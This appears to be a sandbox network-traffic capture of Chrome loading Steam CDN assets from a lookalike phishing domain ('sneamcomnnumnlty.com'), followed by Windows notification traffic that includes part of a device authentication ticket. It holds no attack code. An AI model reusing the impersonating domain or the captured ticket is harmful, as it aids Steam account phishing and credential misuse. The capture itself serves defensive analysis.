2024-10-07 06:47:07 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=8602395 Expires: Tue, 14 Jan 2025 20:20:22 GMT Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Length: 24657 Connection: close
2024-10-07 06:47:07 UTC	16038	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-07 06:47:07 UTC	8619	IN	Data Raw: d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49855	2.16.168.12	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	683	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sneamcomnnumnlty.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	1695	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: ea fe 9b cd e2 cc 17 95 7c 51 64 37 a8 b4 95 e3 57 2c a8 48 45 2a 52 91 8a fc 7b 85 4c 06 54 d1 32 9f 96 77 d1 72 0e 2d ab c0 31 4c 41 2a 17 47 3a 9b 40 ef c4 be 74 95 b7 c9 d5 52 b5 e0 7b 55 de fa 7b 08 58 0e 2b aa 7a dc 5f 9c 0a b0 54 a4 22 15 a9 c8 ff c5 71 41 8b 8f 96 d9 b4 ac a6 65 23 2d 67 d2 e2 32 18 91 80 32 cb 62 7c 44 96 0b 28 aa 79 68 1c 4b 70 f5 4e 1c c0 70 ec e8 67 3a 6a 57 7e b8 a3 6e c5 b5 b4 c1 07 d4 e3 1c 5c 2a c0 52 91 8a 54 a4 22 9a 30 ff 6a 3d 2d 8b 68 59 4f cb d9 b4 cc e1 df a8 06 c6 e8 6e 36 41 77 b3 41 2d 79 cc 04 c3 85 c8 5e 05 ed 2f e6 7f b3 08 56 e4 8b 59 bc dd f7 ba 4f 51 e4 fb db 6b 57 a8 c4 5c 1e 2c ff b2 02 2c 15 a9 48 45 2a f2 8f 2e 2c f2 17 a6 a5 9d 96 35 3a 80 ac 99 b1 46 39 8c 04 41 d1 fe 10 b4 00 d1 3b e8 0c 87 12 41 7b Data Ascii: \|Qd7W,HER{LT2wr-1LAG:@tR{U{X+z_T"qAe#-g22b\|D(yhKpNpg:jW~n\RT"0j=-hYOn6AwA-y^/VYOQkW\,,HE.,5:F9A;A{
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: ae 8f 5e 8b 33 97 7a d0 b7 f9 75 60 ef 30 9c 6b 5c 28 8a 56 c8 05 81 d7 85 b0 00 7c 8a f4 64 71 32 ce 5d 32 22 29 9d dc f0 08 82 0b 9a d0 2f ca 70 a5 27 11 f1 55 61 64 f7 3e 14 2f b8 10 31 b9 00 d7 0b cf 63 9c ac f7 f3 bb 8e a0 b6 b6 0e 0f 2d 5f 0a 89 06 c3 c6 8b 2f c4 38 29 d5 d1 9b b6 22 bf fa 34 34 2f 5d 8d c2 f8 28 ea f7 bd 0c db c8 36 e4 2e f8 20 6a da 67 63 4a ce 20 98 b3 e1 05 4c a3 2d 4b 96 69 4d 3d 36 5b 0b d8 39 3c 80 65 cc 92 52 44 ad 10 8d b9 85 58 fb 71 02 17 b6 30 97 01 ab 19 61 83 29 93 e6 65 61 f0 78 14 a6 5d b9 65 e9 70 17 60 a1 41 97 ed 14 70 ee 79 12 2e fa a3 03 67 5f 95 26 70 2c e2 0f 3f f6 a0 f3 40 01 77 3d ac e2 e1 a7 0b 88 86 bd 38 f7 d4 22 d6 2e 0d e0 f5 1d 56 8c c6 54 3c 72 ab 82 bf 6c 27 65 10 53 08 f2 58 81 26 77 d6 f3 ce c6 8c Data Ascii: ^3zu`0k\(V\|dq2]2")/p'Uad>/1c-_/8)"44/](6. jgcJ L-KiM=6[9<eRDXq0a)eax]ep`Apy.g_&p,?@w=8".VT<rl'eSX&w
2024-10-07 06:47:07 UTC	4731	IN	Data Raw: 78 db a9 9b e0 f7 38 88 9d 98 f0 c2 8e 23 38 f9 f4 13 69 13 85 d1 d5 db 0e 7f 57 2f ec a1 26 58 fd 1e a8 b2 04 ab b7 93 07 69 dd 5e 0f ba 7b 5b 70 78 72 14 47 47 c6 d1 e4 35 c2 64 97 50 71 ad 20 36 93 80 94 11 d1 e6 b3 22 44 80 b0 ac db 86 47 7f 7d 00 16 da 58 23 09 60 74 3a 43 c6 c6 8a 92 6a 45 41 e8 25 d0 76 60 be 98 45 2e 3b 06 39 13 45 ff 86 d5 58 b7 61 15 b1 a8 2c 67 51 15 bd 1a 88 57 75 b1 b0 18 5d 33 3e 8e 96 cf 28 61 c0 42 bc 91 bc 68 89 0d d6 62 a1 0f 49 33 b0 8a de ef 20 aa 75 03 64 22 03 9a cf f1 52 df 8f d3 df b6 1c 93 e0 fe 83 e5 3e d8 0f fa 6c 06 20 12 9d 0f 3b 70 f2 58 10 a2 a3 ea 21 2f 7f 85 64 10 4f 28 14 4a 6b cc 06 69 b5 d7 69 37 bd b4 e3 15 34 35 87 50 2c 54 78 c5 61 d5 dc 18 8c 46 7d dd e9 7a 58 a2 3e 0c 4a 57 f1 85 ce 54 ca 65 01 1f Data Ascii: x8#8iW/&Xi^{[pxrGG5dPq 6"DG}X#`t:CjEA%v`E.;9EXa,gQWu]3>(aBhbI3 ud"R>l ;pX!/dO(Jkii745P,TxaF}zX>JWTe
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 31 74 b6 f8 b9 52 b0 c8 e5 ef 99 92 2d cb 5f 49 82 c4 c1 92 ff 34 b2 10 a5 91 b3 18 e6 e1 33 10 32 1a 2d 5a ee 80 01 35 31 16 b7 9b 40 85 80 9c 31 17 36 07 c6 66 73 a0 20 97 b4 fb a5 cf 46 b1 1a 4d 16 17 ab 56 63 55 49 ac 2c 99 96 a5 59 34 21 93 3e 00 d9 64 86 d7 e9 20 c3 56 c1 0c 31 cd f6 35 e7 62 a1 f7 2c a4 0e ed c1 f5 7f 74 1d f6 ed d9 8d 03 fb 8f e0 96 9b df 87 15 2b fa b1 e5 d6 db 10 08 34 41 4e c6 11 9f 0f d3 b9 99 f1 f3 9f df 8d 3b ee 7e 18 ab 97 77 72 60 cb ca 39 72 16 9a e8 dc 27 d1 dd 72 94 40 f9 2a 74 f4 f4 f2 70 d9 b2 be e5 dc e0 4c ce ce c0 d3 14 ac 19 16 5e c4 c0 94 00 78 55 a2 de 49 0d 6d 32 aa 91 29 24 9c 7c 3e b6 3c 70 0f 4a 8b 47 f9 18 5f 83 c9 c2 8b 43 d8 f3 98 ca 02 0f 97 e9 15 8d a8 4e 59 34 0b 5a 75 1d 2b 55 27 b0 0d 4f cf a1 7f e5 Data Ascii: 1tR-_I432-Z51@16fs FMVcUI,Y4!>d V15b,t+4AN;~wr`9r'r@*tpL^xUIm2)$\|><pJG_CNY4Zu+U'O
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 7d 96 95 e9 34 f0 6a 8d c6 61 56 e0 b1 66 51 49 8e a5 84 fe 3d bb bc 0c 76 73 1a 6e bb 05 6b 56 2c 42 40 4a c1 e9 76 21 3a 36 81 b8 3f 88 2a 42 0b e6 33 96 23 7e 68 0f e2 7d 47 b0 61 cb 16 f5 58 f8 3e 51 f0 61 24 54 be 40 ca c2 44 c8 c5 cf ac 1a a5 5e b5 fe 23 72 a8 59 55 8d 35 95 56 1d 39 43 e1 aa 32 72 24 ed 90 1a 1a 61 98 49 df 99 ea a5 a6 01 86 ca 2a c0 e3 16 7a 34 82 f0 93 d3 60 ac c1 c3 2a a2 84 64 0c 3c 00 4c 88 df 40 9f 67 a6 f7 1f a6 e0 51 0a 1a 44 7d 2c e8 89 21 6d cc c2 92 36 16 a7 03 4f d6 eb 95 4f 89 4d 53 91 94 4e f8 d3 53 8e e5 bd f6 b0 f8 9a e0 3b e7 36 fc cb 99 e5 14 d5 38 44 5b 63 34 1a 16 0c ba 03 3d 07 84 aa e0 f0 e8 30 9c 64 8c 9b 08 ad 74 53 84 1f 4b 27 f0 dd 6f dc 8b bb ee b8 03 b5 f5 ed b4 89 9c 30 64 43 88 12 9c 1f 19 66 a2 c4 0c Data Ascii: }4jaVfQI=vsnkV,B@Jv!:6?B3#~h}GaX>Qa$T@D^#rYU5V9C2r$aIz4`*d<L@gQD},!m6OOMSNS;68D[c4=0dtSK'o0dCf
2024-10-07 06:47:07 UTC	7952	IN	Data Raw: 60 4d cf 9d 0a 33 1c 27 71 15 f2 b8 6d 3e 29 88 08 07 9b 10 c9 f7 4f c9 e8 b0 c1 bf ea ad 6f c3 82 05 0b c9 01 e9 43 fb 8c 19 98 d6 5a 8f fd 3d 49 ac 7a cd d9 78 e2 d1 7b b0 6d cb 7a 5a 5f 29 32 bc 5e 32 c6 61 b8 5c 75 74 bc 59 da 5f 9d 65 c7 e3 e3 48 26 c7 09 74 b9 79 d4 2e b9 27 7d ed a8 72 6e 1f 7e 64 35 a2 d1 31 6c d9 b6 03 6b d6 ac a3 ef f0 62 ff be dd 72 9f a4 08 e4 dd 9e 2a b9 ee 36 09 61 99 4d 9f 05 61 17 6e 27 83 b7 0d b9 0c 27 e8 b3 46 49 b9 b7 1c f6 b2 d8 27 3d 57 67 94 74 6b 8a 05 74 2c a1 3e 72 12 6b 6b eb 50 53 53 2b 61 e4 a1 a1 21 91 a6 31 3f 7b 82 e6 58 d4 bf 0f d6 f1 12 25 c9 8f 87 fc 08 2f 3c ae c2 0a b2 ec 36 79 98 29 16 db a3 c5 94 cf c4 a0 e6 d3 48 0c 0e 22 3a 54 c0 c1 d1 41 84 fd 1e 9c 79 de 65 18 1e ec c6 a3 8f 3c 29 15 57 bd 07 9e Data Ascii: `M3'qm>)OoCZ=Izx{mzZ_)2^2a\utY_eH&ty.'}rn~d51lkbr*6aMan''FI'=Wgtkt,>rkkPSS+a!1?{X%/<6y)H":TAye<)W
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 17 3f fa 9f eb 89 31 04 75 f1 c0 22 97 ed d6 88 6c f4 c8 d8 88 84 89 c2 fe 20 fc c4 56 78 1e 37 37 2c b2 06 18 33 19 ae ae 49 a7 72 b8 f4 4d 6f 46 03 81 53 ad ad 17 3b f7 f6 62 e1 d2 95 78 6c f5 5f 11 19 dd cf e3 29 30 73 9a 17 6e a7 07 75 fe 00 4e 3d 17 78 6c bd 0f 03 03 45 74 0d b9 d0 33 12 46 28 db 40 9e 13 2d 7a cf 22 d4 2f f5 23 46 1e 51 fd 49 8b d0 60 73 e0 77 f7 3c 27 06 83 13 f2 5c 82 39 9c 18 35 e2 fe 96 ce 6e 45 39 14 34 ca 25 4d af 4a d0 38 3a 70 68 47 c5 94 43 9c 67 e9 ce d7 4b 53 39 4c 69 86 83 dc e1 56 64 23 dd e8 7d ea 67 68 59 f9 1e 78 eb 3b 50 48 8e 49 39 aa 9e 10 41 99 55 48 b2 be 54 ef 54 96 87 61 d6 aa eb c2 94 0a 00 14 c3 52 2b 13 f6 b5 d4 cf a2 58 ba ed 61 f6 ae 98 d5 66 86 fc bd 0d 65 81 cc 09 07 a5 4c f2 ef 92 4e 32 bd d5 49 eb 31 Data Ascii: ?1u"l Vx77,3IrMoFS;bxl_)0snuN=xlEt3F(@-z"/#FQI`sw<'\95nE94%MJ8:phGCgKS9LiVd#}ghYx;PHI9AUHTTaR+XafeLN2I1
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: a1 b4 3f 00 37 d9 1b 35 6c 30 0e c7 d1 54 53 8a 89 93 66 e3 fd 77 df c7 a6 81 7e ae 6a f0 e2 f3 4b 31 c7 aa 41 f3 11 53 f0 dc db ab d0 bd 7c 0f 1c f3 0f 43 4d fd 14 79 50 da 21 cb 58 b2 5f 0c d0 38 e0 b7 cb 8a bf 04 1e 8b e6 4e e5 cf bc f1 ca 72 58 cb 1a 71 c6 71 f3 08 54 92 8a 8e 7c 14 e9 88 a5 e5 31 ab 8c c5 44 a3 11 4c 6c ae a5 c7 45 b8 e4 bc 53 b0 b7 ab 1b f7 10 40 3d f0 e0 d3 08 93 c7 91 d4 1b c8 40 eb 60 2a 75 42 95 95 7a 3c f2 15 c9 72 39 d1 a8 5a 1b 61 2c a9 f1 03 ab 1a ca a2 d0 85 99 a1 47 65 ad 0b 3f fc d1 b7 69 c3 07 78 ff 43 ae 5b 3e 46 14 bb c4 65 c6 3f ff 7e 23 4e 38 e6 1d fc f5 f7 3f 83 cf eb c7 15 df f9 1a e6 4c 69 e6 93 f8 06 e9 df cf bc fc 16 ae bc e1 56 c4 bb b6 e3 eb 97 5c 85 ef 7f f7 6b f0 fb bc 3c fe cd 2a 72 6e ba e5 76 68 dd 65 10 Data Ascii: ?75l0TSfw~jK1AS\|CMyP!X_8NrXqqT\|1DLlES@=@`uBz<r9Za,Ge?ixC[>Fe?~#N8?LiV\k<rnvhe
2024-10-07 06:47:07 UTC	7952	IN	Data Raw: 90 20 86 61 b2 58 11 df d4 81 df fd f2 3c 9c 7c ec 8f 50 b1 c7 f1 38 e1 27 3f c7 27 ef 7f 80 3f fd ed d7 18 55 57 85 bb ff 78 15 d4 5c 0e 17 9c 7f 32 1e b8 fd 1a fc f2 fc 1f e3 c9 7f de 04 77 3e 87 fd f7 de 0d ef bf b7 98 57 06 fd fe 77 97 22 49 c6 69 e2 6e a3 70 ed 5f fe 85 6b ff fc 00 8e 3a 6c 3f d4 d7 1d 84 65 cb 56 e3 f8 23 0f a6 8f 2c 51 00 5e 6d 1b d7 e1 b6 2e 6d 6d 88 b7 c2 de 1a f2 a2 d4 86 74 a6 ec 3d 5a 14 05 2e 32 ce 6b 3e 5d 84 19 fb f4 e0 ec f3 8a 90 26 e3 bc ae a1 1d e3 ec 56 24 62 0a a2 96 22 9c 7d ca 64 d4 d5 59 d0 d4 11 44 4c f6 a0 3b 10 43 a4 2d 0c a3 64 e6 6b 81 f5 a8 f0 72 e0 de d0 16 ef bb d2 f3 27 39 55 e0 20 23 16 8e 2e e8 c9 0f d0 4b 23 ce 63 65 06 6e f4 99 e3 63 40 1a 62 3e 45 8c 34 0e 21 17 83 55 09 a3 44 0c 41 ca 86 11 cd d1 ba Data Ascii: aX<\|P8'?'?UWx\2w>Ww"Iinp_k:l?eV#,Q^m.mmt=Z.2k>]&V$b"}dYDL;C-dkr'9U #.K#cenc@b>E4!UDA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49857	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	575	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49856	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	589	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-d54" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49844	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 37 6a 6f 59 5a 79 75 4c 74 45 36 2f 77 54 35 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 66 63 31 65 31 64 38 63 31 36 34 65 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 7joYZyuLtE6/wT5M.1Context: a29fc1e1d8c164e2
2024-10-07 06:47:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-07 06:47:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 37 6a 6f 59 5a 79 75 4c 74 45 36 2f 77 54 35 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 66 63 31 65 31 64 38 63 31 36 34 65 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 52 6a 32 6f 6f 4f 62 34 2b 52 6e 37 68 30 49 6e 6c 72 69 59 61 37 4c 57 4c 39 75 39 34 43 44 43 4b 77 5a 77 4e 55 56 38 30 58 6d 6d 30 50 51 39 77 43 50 4e 64 45 44 33 6d 69 4e 49 48 31 48 4f 70 4b 50 41 32 54 39 6c 62 75 58 78 47 6e 74 30 50 4d 51 4e 2b 6b 48 47 6f 31 34 4c 61 48 49 61 61 33 72 4e 57 74 72 4e 51 51 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 7joYZyuLtE6/wT5M.2Context: a29fc1e1d8c164e2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzRj2ooOb4+Rn7h0InlriYa7LWL9u94CDCKwZwNUV80Xmm0PQ9wCPNdED3miNIH1HOpKPA2T9lbuXxGnt0PMQN+kHGo14LaHIaa3rNWtrNQQN
2024-10-07 06:47:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 37 6a 6f 59 5a 79 75 4c 74 45 36 2f 77 54 35 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 66 63 31 65 31 64 38 63 31 36 34 65 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 7joYZyuLtE6/wT5M.3Context: 